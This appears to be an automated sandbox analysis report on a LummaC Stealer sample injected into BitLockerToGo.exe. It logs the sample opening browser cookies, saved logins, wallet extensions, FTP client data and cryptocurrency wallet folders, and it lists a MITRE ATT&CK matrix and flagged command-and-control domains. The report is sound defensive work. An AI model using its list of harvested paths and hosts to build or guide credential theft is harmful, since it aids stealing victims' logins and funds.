Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\prefs.js	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\formhistory.sqlite	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\abogmiocnneedmmepnohnhlijcjpcifd	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\key4.db	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\FTPRush	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Directory queried: C:\Users\user\Documents\EFOYFBOLXA	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Directory queried: C:\Users\user\Documents\EFOYFBOLXA	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Directory queried: C:\Users\user\Documents\PWCCAWLGRE	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Directory queried: C:\Users\user\Documents\PWCCAWLGRE	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Directory queried: C:\Users\user\Documents\EFOYFBOLXA	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Directory queried: C:\Users\user\Documents\EFOYFBOLXA	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Directory queried: C:\Users\user\Documents\EFOYFBOLXA	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Directory queried: C:\Users\user\Documents\EFOYFBOLXA	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Directory queried: C:\Users\user\Documents\PWCCAWLGRE	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Directory queried: C:\Users\user\Documents\PWCCAWLGRE	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Directory queried: C:\Users\user\Documents\SUAVTZKNFL	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Directory queried: C:\Users\user\Documents\SUAVTZKNFL	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Directory queried: C:\Users\user\Documents\PWCCAWLGRE	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Directory queried: C:\Users\user\Documents\PWCCAWLGRE	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Directory queried: C:\Users\user\Documents	Jump to behavior

Source: Yara match

File source: Process Memory Space: BitLockerToGo.exe PID: 612, type: MEMORYSTR

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: BitLockerToGo.exe PID: 612, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
1 Software	Acquire Infrastructure	Valid Accounts	2 Windows Management Instrumentation	1 DLL Side-Loading	311 Process Injection	1 Modify Registry	2 OS Credential Dumping	121 Security Software Discovery	Remote Services	1 Screen Capture	21 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	Boot or Logon Initialization Scripts	1 DLL Side-Loading	11 Virtualization/Sandbox Evasion	LSASS Memory	11 Virtualization/Sandbox Evasion	Remote Desktop Protocol	1 Archive Collected Data	2 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 PowerShell	Logon Script (Windows)	Logon Script (Windows)	311 Process Injection	Security Account Manager	2 Process Discovery	SMB/Windows Admin Shares	41 Data from Local System	113 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	11 Deobfuscate/Decode Files or Information	NTDS	1 File and Directory Discovery	Distributed Component Object Model	2 Clipboard Data	Protocol Impersonation	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	3 Obfuscated Files or Information	LSA Secrets	23 System Information Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	Wi-Fi Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
6wFwugeLNG.exe	68%	ReversingLabs	Win32.Trojan.LummaStealer
6wFwugeLNG.exe	43%	Virustotal		Browse

Dropped Files

⊘No Antivirus matches

Unpacked PE Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

Source	Detection	Scanner	Label
https://kliptizq.shop/	100%	Avira URL Cloud	malware
https://cycahao.shop/api	100%	Avira URL Cloud	malware
https://cycahao.shop/apivVa	100%	Avira URL Cloud	malware
https://cycahao.shop/apibMMCEY	100%	Avira URL Cloud	malware
https://cycahao.shop/	100%	Avira URL Cloud	malware
https://kliptizq.shop/int_clp_ldr_sha.txt9:	100%	Avira URL Cloud	malware
https://cycahao.shop/6	100%	Avira URL Cloud	malware
cycahao.shop	100%	Avira URL Cloud	malware
https://kliptizq.shop/int_clp_ldr_sha.txtz1	100%	Avira URL Cloud	malware
https://cycahao.shop/apiVr	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
cycahao.shop	172.67.135.139	true	true		unknown
kliptizq.shop	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
sordid-snaked.cyou	false		high
https://cycahao.shop/api	true	Avira URL Cloud: malware	unknown
awake-weaves.cyou	false		high
immureprech.biz	false		high
deafeninggeh.biz	false		high
cycahao.shop	true	Avira URL Cloud: malware	unknown
debonairnukk.xyz	false		high
diffuculttan.xyz	false		high
effecterectz.xyz	false		high
wrathful-jammy.cyou	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	BitLockerToGo.exe, 00000005.00000003.2437966347.0000000004E5B000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000005.00000003.2438173649.0000000004E59000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000005.00000003.2438068649.0000000004E59000.00000004.00000800.00020000.00000000.sdmp	false		high
